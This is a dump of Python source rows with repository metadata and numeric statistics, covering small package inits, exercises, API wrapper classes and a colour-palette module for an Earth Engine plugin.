| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ace44758d9024e65206ee88b0dba419fc8536c92
| 124
|
py
|
Python
|
deepatari/learner/__init__.py
|
cowhi/deepatari
|
3b676ca4fc66266d766cd2366226f3e10213bc78
|
[
"MIT"
] | 10
|
2016-06-10T01:13:44.000Z
|
2017-10-15T10:47:09.000Z
|
deepatari/learner/__init__.py
|
cowhi/deepatari
|
3b676ca4fc66266d766cd2366226f3e10213bc78
|
[
"MIT"
] | null | null | null |
deepatari/learner/__init__.py
|
cowhi/deepatari
|
3b676ca4fc66266d766cd2366226f3e10213bc78
|
[
"MIT"
] | 2
|
2016-06-10T14:38:08.000Z
|
2020-08-29T03:11:06.000Z
|
from .learner import Learner
from .dqnkeras import DQNKeras
from .dqnlasagne import DQNLasagne
from .dqnneon import DQNNeon
| 24.8
| 34
| 0.83871
| 16
| 124
| 6.5
| 0.375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129032
| 124
| 4
| 35
| 31
| 0.962963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ace7a7b154323fd961bb961b825000f69c6772a1
| 352
|
py
|
Python
|
flow018.py
|
Mandar-Gajbhiye15/competitive-programming-questions
|
a9a36d5bf09985e84ea9e52154a73d30665261f1
|
[
"MIT"
] | null | null | null |
flow018.py
|
Mandar-Gajbhiye15/competitive-programming-questions
|
a9a36d5bf09985e84ea9e52154a73d30665261f1
|
[
"MIT"
] | null | null | null |
flow018.py
|
Mandar-Gajbhiye15/competitive-programming-questions
|
a9a36d5bf09985e84ea9e52154a73d30665261f1
|
[
"MIT"
] | null | null | null |
# t = int(input())
# fact = 1
# i = 1
# x = 0
# list1 = []
# for _ in range(t):
# n = int(input())
# if n>0:
# fact = fact * n
# n-+1
# list1.append(fact)
# elif n == 0:
# list1.append(fact)
# else :
# list1.append(fact=0)
# for x in range(len(list1)):
# print(list1[x])
| 19.555556
| 31
| 0.411932
| 48
| 352
| 3
| 0.395833
| 0.229167
| 0.3125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.061905
| 0.403409
| 352
| 18
| 32
| 19.555556
| 0.62381
| 0.840909
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
acf0577e3b2b69b7bb30f27a2f46271d87db6a3f
| 66
|
py
|
Python
|
backend/ibutsu_server/errors.py
|
rsnyman/ibutsu-server
|
3d190a3ab2f3cd206b7c5509ba21f95ce5bbdfcc
|
[
"MIT"
] | 10
|
2020-07-07T07:00:00.000Z
|
2022-03-30T12:21:44.000Z
|
backend/ibutsu_server/errors.py
|
rsnyman/ibutsu-server
|
3d190a3ab2f3cd206b7c5509ba21f95ce5bbdfcc
|
[
"MIT"
] | 133
|
2020-07-06T20:10:45.000Z
|
2022-03-31T15:19:19.000Z
|
backend/ibutsu_server/errors.py
|
rsnyman/ibutsu-server
|
3d190a3ab2f3cd206b7c5509ba21f95ce5bbdfcc
|
[
"MIT"
] | 9
|
2020-07-06T17:33:29.000Z
|
2022-03-07T00:08:00.000Z
|
class IbutsuError(Exception):
"""Base exception for Ibutsu"""
| 22
| 35
| 0.712121
| 7
| 66
| 6.714286
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151515
| 66
| 2
| 36
| 33
| 0.839286
| 0.378788
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
4a03db7f64c2ff4e41890745c9b3daeabec4d3e0
| 209
|
py
|
Python
|
test_commands.py
|
PerformLine/python-performline-client
|
82c8f0dc47e007d35702455a2cd8167c0908bddd
|
[
"BSD-3-Clause"
] | null | null | null |
test_commands.py
|
PerformLine/python-performline-client
|
82c8f0dc47e007d35702455a2cd8167c0908bddd
|
[
"BSD-3-Clause"
] | 1
|
2019-03-01T05:39:00.000Z
|
2019-03-01T05:39:00.000Z
|
test_commands.py
|
PerformLine/python-performline-client
|
82c8f0dc47e007d35702455a2cd8167c0908bddd
|
[
"BSD-3-Clause"
] | null | null | null |
from performline.client import Client
c = Client("976794ca6e5897e27d1b439064691bb1c3eb0420")
tf = list(c.trafficsources())
brands2 = list(c.brands(limit=2))
# brands2 = list(c.brands(create_date=">20200810"))
| 34.833333
| 54
| 0.77512
| 25
| 209
| 6.44
| 0.64
| 0.093168
| 0.149068
| 0.223602
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208333
| 0.08134
| 209
| 5
| 55
| 41.8
| 0.630208
| 0.23445
| 0
| 0
| 0
| 0
| 0.253165
| 0.253165
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4a1bda9d6b5f496d19a132e3204ef845aaa64f08
| 66
|
py
|
Python
|
send_mail/celery_tasks/email_task/__init__.py
|
ruoyunruyan/send_email
|
bb5c19b7750bbb3798f7ec6843f68d959375ca53
|
[
"MIT"
] | null | null | null |
send_mail/celery_tasks/email_task/__init__.py
|
ruoyunruyan/send_email
|
bb5c19b7750bbb3798f7ec6843f68d959375ca53
|
[
"MIT"
] | null | null | null |
send_mail/celery_tasks/email_task/__init__.py
|
ruoyunruyan/send_email
|
bb5c19b7750bbb3798f7ec6843f68d959375ca53
|
[
"MIT"
] | null | null | null |
# Time: 2019/9/9 18:55
# Author jzh
# File __init__.py.py
| 11
| 24
| 0.590909
| 12
| 66
| 2.916667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208333
| 0.272727
| 66
| 5
| 25
| 13.2
| 0.520833
| 0.787879
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4a1fd610012ad54cce222cd1775448a1288cd4fc
| 377
|
py
|
Python
|
RiskQuantLib/Property/average.py
|
SyuyaMurakami/RiskQuantLib-Doc
|
2503befc24c2e422e51f8b9f468c8d8439e11c65
|
[
"MIT"
] | 1
|
2021-12-29T12:18:45.000Z
|
2021-12-29T12:18:45.000Z
|
RiskQuantLib/Property/average.py
|
SyuyaMurakami/RiskQuantLib-Doc
|
2503befc24c2e422e51f8b9f468c8d8439e11c65
|
[
"MIT"
] | null | null | null |
RiskQuantLib/Property/average.py
|
SyuyaMurakami/RiskQuantLib-Doc
|
2503befc24c2e422e51f8b9f468c8d8439e11c65
|
[
"MIT"
] | 1
|
2021-12-08T02:14:34.000Z
|
2021-12-08T02:14:34.000Z
|
#!/usr/bin/python
#coding = utf-8
class average:
"""
This is the base class of average. Inherit from this class will make
attribute into the average version.
"""
def __init__(self,numberOfSamplesNum):
self.numberOfSamples = numberOfSamplesNum
def setNumberOfSamples(self,numberOfSamplesNum):
self.numberOfSamples = numberOfSamplesNum
| 25.133333
| 72
| 0.713528
| 40
| 377
| 6.625
| 0.65
| 0.166038
| 0.196226
| 0.309434
| 0.445283
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003356
| 0.209549
| 377
| 14
| 73
| 26.928571
| 0.885906
| 0.35809
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
c57e09ee729abc470a3e95a381f876204e211961
| 63
|
py
|
Python
|
main.py
|
shubham-kalyankar/SPCS
|
95f69949ba78c34dcf8b0ef8b5f16d935760aab5
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
shubham-kalyankar/SPCS
|
95f69949ba78c34dcf8b0ef8b5f16d935760aab5
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
shubham-kalyankar/SPCS
|
95f69949ba78c34dcf8b0ef8b5f16d935760aab5
|
[
"Apache-2.0"
] | null | null | null |
import sol
import par1
sol.work()
sol.service()
par1.parser()
| 9
| 13
| 0.730159
| 10
| 63
| 4.6
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.036364
| 0.126984
| 63
| 6
| 14
| 10.5
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
c5aeccbb811d7b6a4ce7195f37558d9e4de1d714
| 109
|
py
|
Python
|
projects/mq_handler/print.py
|
kingking888/crawler-pyspider
|
29ba13905c73081097df9ef646a5c8194eb024be
|
[
"Apache-2.0"
] | 1
|
2021-12-07T15:48:51.000Z
|
2021-12-07T15:48:51.000Z
|
projects/mq_handler/print.py
|
GongSong/crawler-pyspider
|
b6dcec4afa4e1cd393f94627290a21ed95238676
|
[
"Apache-2.0"
] | null | null | null |
projects/mq_handler/print.py
|
GongSong/crawler-pyspider
|
b6dcec4afa4e1cd393f94627290a21ed95238676
|
[
"Apache-2.0"
] | 1
|
2021-11-10T07:12:02.000Z
|
2021-11-10T07:12:02.000Z
|
from mq_handler.base import Base
class Print(Base):
def execute(self):
self.print_basic_info()
| 15.571429
| 32
| 0.697248
| 16
| 109
| 4.5625
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.211009
| 109
| 6
| 33
| 18.166667
| 0.848837
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
c5c8f60c72385cf6ff8f6adaa60837adcd91a3fa
| 98
|
py
|
Python
|
ns-allinone-3.27/ns-3.27/src/wifi/bindings/modulegen_customizations.py
|
zack-braun/4607_NS
|
43c8fb772e5552fb44bd7cd34173e73e3fb66537
|
[
"MIT"
] | 93
|
2019-04-21T08:22:26.000Z
|
2022-03-30T04:26:29.000Z
|
ns-allinone-3.27/ns-3.27/src/wifi/bindings/modulegen_customizations.py
|
zack-braun/4607_NS
|
43c8fb772e5552fb44bd7cd34173e73e3fb66537
|
[
"MIT"
] | 12
|
2019-04-19T16:39:58.000Z
|
2021-06-22T13:18:32.000Z
|
ns-allinone-3.27/ns-3.27/src/wifi/bindings/modulegen_customizations.py
|
zack-braun/4607_NS
|
43c8fb772e5552fb44bd7cd34173e73e3fb66537
|
[
"MIT"
] | 21
|
2019-05-27T19:36:12.000Z
|
2021-07-26T02:37:41.000Z
|
def post_register_types(root_module):
root_module.add_include('"ns3/propagation-module.h"')
| 19.6
| 57
| 0.77551
| 14
| 98
| 5.071429
| 0.785714
| 0.28169
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011236
| 0.091837
| 98
| 4
| 58
| 24.5
| 0.786517
| 0
| 0
| 0
| 0
| 0
| 0.270833
| 0.270833
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
c5d806c13a7c423731ebcb88c1fedb352e4db208
| 113
|
py
|
Python
|
aulapythonpoo/aula21/doc_strings.py
|
lel352/Curso-Python
|
d65484c807db52d57042eee20ccbd3131825fa98
|
[
"MIT"
] | 1
|
2021-09-04T14:34:34.000Z
|
2021-09-04T14:34:34.000Z
|
aulapythonpoo/aula21/doc_strings.py
|
lel352/Curso-Python
|
d65484c807db52d57042eee20ccbd3131825fa98
|
[
"MIT"
] | null | null | null |
aulapythonpoo/aula21/doc_strings.py
|
lel352/Curso-Python
|
d65484c807db52d57042eee20ccbd3131825fa98
|
[
"MIT"
] | null | null | null |
olha_eu_aqui = """Hey!!!
Oie, eu sou uma docString!!!!!!!
também funciona como string
"""
print(olha_eu_aqui)
| 12.555556
| 32
| 0.672566
| 17
| 113
| 4.235294
| 0.764706
| 0.166667
| 0.277778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150442
| 113
| 9
| 33
| 12.555556
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0.622807
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
c5e78ea69ce481c71fadcdecdd4e151b7f665f73
| 209
|
py
|
Python
|
app/schemas/error.py
|
obytes/fastql
|
3e77f92d0330e0ea4ffd5383691283529699ca79
|
[
"MIT"
] | 32
|
2021-10-05T15:39:22.000Z
|
2022-02-03T17:06:18.000Z
|
app/schemas/error.py
|
obytes/FastQL
|
3e77f92d0330e0ea4ffd5383691283529699ca79
|
[
"MIT"
] | 11
|
2022-02-04T04:00:58.000Z
|
2022-03-28T15:22:46.000Z
|
app/schemas/error.py
|
obytes/fastql
|
3e77f92d0330e0ea4ffd5383691283529699ca79
|
[
"MIT"
] | 4
|
2021-11-16T15:57:31.000Z
|
2021-12-19T07:36:46.000Z
|
from graphql.error.graphql_error import GraphQLError
class MyGraphQLError(GraphQLError):
def __init__(self, message: str, code: int) -> None:
super().__init__(message, extensions={"code": code})
| 29.857143
| 60
| 0.727273
| 24
| 209
| 5.958333
| 0.708333
| 0.167832
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148325
| 209
| 6
| 61
| 34.833333
| 0.803371
| 0
| 0
| 0
| 0
| 0
| 0.019139
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
6804c72c08de6e789288673b23fa5d53687b8359
| 120
|
py
|
Python
|
Probability/BDayGift.py
|
tejasnikumbh/Algorithms
|
2a2983a522be295ce95bd970a0ee8a617866992f
|
[
"BSD-2-Clause"
] | 8
|
2015-04-16T03:43:49.000Z
|
2018-08-14T22:47:03.000Z
|
Probability/BDayGift.py
|
tejasnikumbh/Algorithms
|
2a2983a522be295ce95bd970a0ee8a617866992f
|
[
"BSD-2-Clause"
] | null | null | null |
Probability/BDayGift.py
|
tejasnikumbh/Algorithms
|
2a2983a522be295ce95bd970a0ee8a617866992f
|
[
"BSD-2-Clause"
] | 7
|
2016-03-22T20:29:27.000Z
|
2018-09-29T18:55:47.000Z
|
import sys;
n = int(sys.stdin.readline());
S = 0
for i in range(n):
S += int(sys.stdin.readline());
print(S/2.0);
| 13.333333
| 33
| 0.591667
| 23
| 120
| 3.086957
| 0.608696
| 0.169014
| 0.309859
| 0.535211
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030612
| 0.183333
| 120
| 8
| 34
| 15
| 0.693878
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0.166667
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
68086f1c391d05210ab307d38f5a9e3d7231b5dc
| 836
|
py
|
Python
|
custom_components/eero/api/account.py
|
mattsch/home-assistant-eero
|
3d6960ed239c63fe07d7b2a4da38bf70ea8f9eb0
|
[
"MIT"
] | 40
|
2020-12-07T02:32:53.000Z
|
2022-03-31T23:53:08.000Z
|
custom_components/eero/api/account.py
|
mattsch/home-assistant-eero
|
3d6960ed239c63fe07d7b2a4da38bf70ea8f9eb0
|
[
"MIT"
] | 27
|
2020-12-09T02:58:05.000Z
|
2022-03-25T22:21:19.000Z
|
custom_components/eero/api/account.py
|
mattsch/home-assistant-eero
|
3d6960ed239c63fe07d7b2a4da38bf70ea8f9eb0
|
[
"MIT"
] | 13
|
2020-12-08T18:12:25.000Z
|
2022-03-24T22:48:20.000Z
|
"""Eero API"""
from .network import Network
from .resource import Resource
class Account(Resource):
def __init__(self, api, data):
super().__init__(api=api, network=None, data=data)
@property
def email(self):
return self.data.get("email", {}).get("value")
@property
def log_id(self):
return self.data.get("log_id")
@property
def name(self):
return self.data.get("name")
@property
def phone(self):
return self.data.get("phone", {}).get("value")
@property
def premium_status(self):
return self.data.get("premium_status")
@property
def networks(self):
networks = []
for network in self.data.get("networks", {}).get("data", []):
networks.append(Network(self.api, self, network))
return networks
| 22.594595
| 69
| 0.601675
| 102
| 836
| 4.813725
| 0.284314
| 0.13442
| 0.13442
| 0.183299
| 0.213849
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.248804
| 836
| 36
| 70
| 23.222222
| 0.781847
| 0.009569
| 0
| 0.230769
| 0
| 0
| 0.068127
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.269231
| false
| 0
| 0.076923
| 0.192308
| 0.615385
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
681364b7fbe48ece21485e472b09efbe6d990bdd
| 163
|
py
|
Python
|
vizdoommaze/envs/vizdoommazefour2.py
|
Brodong/vizdoommaze
|
1b7531f59f6eb5e94d22193d95febaf52ff6a874
|
[
"MIT"
] | null | null | null |
vizdoommaze/envs/vizdoommazefour2.py
|
Brodong/vizdoommaze
|
1b7531f59f6eb5e94d22193d95febaf52ff6a874
|
[
"MIT"
] | null | null | null |
vizdoommaze/envs/vizdoommazefour2.py
|
Brodong/vizdoommaze
|
1b7531f59f6eb5e94d22193d95febaf52ff6a874
|
[
"MIT"
] | 1
|
2021-01-14T08:58:28.000Z
|
2021-01-14T08:58:28.000Z
|
from vizdoommaze.envs.vizdoomenv import VizdoomEnv
class VizdoomMazeFour2(VizdoomEnv):
def __init__(self):
super(VizdoomMazeFour2, self).__init__(75)
| 27.166667
| 50
| 0.773006
| 17
| 163
| 6.941176
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028571
| 0.141104
| 163
| 6
| 51
| 27.166667
| 0.814286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
a839fb90c0ed43891f3a701a5ef897dbe0f04ef9
| 97
|
py
|
Python
|
main.py
|
BigSully/pypi-dist
|
6e1e725b21c833885b2bd8e0564c20ceaedfad66
|
[
"MIT"
] | null | null | null |
main.py
|
BigSully/pypi-dist
|
6e1e725b21c833885b2bd8e0564c20ceaedfad66
|
[
"MIT"
] | null | null | null |
main.py
|
BigSully/pypi-dist
|
6e1e725b21c833885b2bd8e0564c20ceaedfad66
|
[
"MIT"
] | null | null | null |
from example_pkg.greet import hello, hi
if __name__ == "__main__":
hello()
hi('friend')
| 16.166667
| 39
| 0.659794
| 13
| 97
| 4.230769
| 0.846154
| 0.254545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.206186
| 97
| 5
| 40
| 19.4
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0.14433
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.25
| 0
| 0.25
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a84a2b40819f66204ec6bc90cf24e19d994d7b38
| 117
|
py
|
Python
|
src/taskwarrior/__init__.py
|
danihodovic/dht
|
636f54d70f8c6ca60ab48f2815b3e9e1a336d78f
|
[
"MIT"
] | 2
|
2021-01-21T15:04:32.000Z
|
2021-01-21T16:23:32.000Z
|
src/taskwarrior/__init__.py
|
danihodovic/dht
|
636f54d70f8c6ca60ab48f2815b3e9e1a336d78f
|
[
"MIT"
] | 2
|
2020-12-30T20:34:51.000Z
|
2021-01-17T20:02:02.000Z
|
src/taskwarrior/__init__.py
|
danihodovic/dht
|
636f54d70f8c6ca60ab48f2815b3e9e1a336d78f
|
[
"MIT"
] | null | null | null |
from . import done, edit, interactive, notify_missing_project, start, stop
from .cmd import task
__all__ = ["task"]
| 23.4
| 74
| 0.752137
| 16
| 117
| 5.125
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145299
| 117
| 4
| 75
| 29.25
| 0.82
| 0
| 0
| 0
| 0
| 0
| 0.034188
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
a85094c2de65df6e6381d668899f3dc1162bdced
| 26,653
|
py
|
Python
|
ee_plugin/palettes.py
|
hcwinsemius/qgis-earthengine-plugin
|
c77d78a3c6815a7b1e63a38f652c1f7aa1479beb
|
[
"MIT"
] | 1
|
2020-12-16T09:17:39.000Z
|
2020-12-16T09:17:39.000Z
|
ee_plugin/palettes.py
|
XavierCLL/qgis-earthengine-plugin
|
4c1cfdc77194b20c1ff1b81cd482d344b5ebd519
|
[
"MIT"
] | null | null | null |
ee_plugin/palettes.py
|
XavierCLL/qgis-earthengine-plugin
|
4c1cfdc77194b20c1ff1b81cd482d344b5ebd519
|
[
"MIT"
] | null | null | null |
# Copyright (c) 2018 Gennadii Donchyts. All rights reserved.
# This work is licensed under the terms of the MIT license.
# For a copy, see <https://opensource.org/licenses/MIT>.
# Contributors:
# * 2018-08-01: Fedor Baart (f.baart@gmail.com) - added cmocean
# * 2019-01-18: Justin Braaten (jstnbraaten@gmail.com) - added niccoli, matplotlib, kovesi, misc
cmocean = {
'Thermal': {'7': ['042333', '2c3395', '744992', 'b15f82', 'eb7958', 'fbb43d', 'e8fa5b']},
'Haline': {'7': ['2a186c', '14439c', '206e8b', '3c9387', '5ab978', 'aad85c', 'fdef9a']},
'Solar': {'7': ['331418', '682325', '973b1c', 'b66413', 'cb921a', 'dac62f', 'e1fd4b']},
'Ice': {'7': ['040613', '292851', '3f4b96', '427bb7', '61a8c7', '9cd4da', 'eafdfd']},
'Gray': {'7': ['000000', '232323', '4a4a49', '727171', '9b9a9a', 'cacac9', 'fffffd']},
'Oxy': {'7': ['400505', '850a0b', '6f6f6e', '9b9a9a', 'cbcac9', 'ebf34b', 'ddaf19']},
'Deep': {'7': ['fdfecc', 'a5dfa7', '5dbaa4', '488e9e', '3e6495', '3f396c', '281a2c']},
'Dense': {'7': ['e6f1f1', 'a2cee2', '76a4e5', '7871d5', '7642a5', '621d62', '360e24']},
'Algae': {'7': ['d7f9d0', 'a2d595', '64b463', '129450', '126e45', '1a482f', '122414']},
'Matter': {'7': ['feedb0', 'f7b37c', 'eb7858', 'ce4356', '9f2462', '66185c', '2f0f3e']},
'Turbid': {'7': ['e9f6ab', 'd3c671', 'bf9747', 'a1703b', '795338', '4d392d', '221f1b']},
'Speed': {'7': ['fffdcd', 'e1cd73', 'aaac20', '5f920c', '187328', '144b2a', '172313']},
'Amp': {'7': ['f1edec', 'dfbcb0', 'd08b73', 'c0583b', 'a62225', '730e27', '3c0912']},
'Tempo': {'7': ['fff6f4', 'c3d1ba', '7db390', '2a937f', '156d73', '1c455b', '151d44']},
'Phase': {'7': ['a8780d', 'd74957', 'd02fd0', '7d73f0', '1e93a8', '359943', 'a8780d']},
'Balance': {'7': ['181c43', '0c5ebe', '75aabe', 'f1eceb', 'd08b73','a52125', '3c0912']},
'Delta': {'7': ['112040', '1c67a0', '6db6b3', 'fffccc', 'abac21', '177228', '172313']},
'Curl': {'7': ['151d44', '156c72', '7eb390', 'fdf5f4', 'db8d77', '9c3060', '340d35']}
}
colorbrewer = {
'YlGn':{'3':["f7fcb9","addd8e","31a354"],'4':["ffffcc","c2e699","78c679","238443"],'5':["ffffcc","c2e699","78c679","31a354","006837"],'6':["ffffcc","d9f0a3","addd8e","78c679","31a354","006837"],'7':["ffffcc","d9f0a3","addd8e","78c679","41ab5d","238443","005a32"],'8':["ffffe5","f7fcb9","d9f0a3","addd8e","78c679","41ab5d","238443","005a32"],'9':["ffffe5","f7fcb9","d9f0a3","addd8e","78c679","41ab5d","238443","006837","004529"]},
'YlGnBu':{'3':["edf8b1","7fcdbb","2c7fb8"],'4':["ffffcc","a1dab4","41b6c4","225ea8"],'5':["ffffcc","a1dab4","41b6c4","2c7fb8","253494"],'6':["ffffcc","c7e9b4","7fcdbb","41b6c4","2c7fb8","253494"],'7':["ffffcc","c7e9b4","7fcdbb","41b6c4","1d91c0","225ea8","0c2c84"],'8':["ffffd9","edf8b1","c7e9b4","7fcdbb","41b6c4","1d91c0","225ea8","0c2c84"],'9':["ffffd9","edf8b1","c7e9b4","7fcdbb","41b6c4","1d91c0","225ea8","253494","081d58"]},
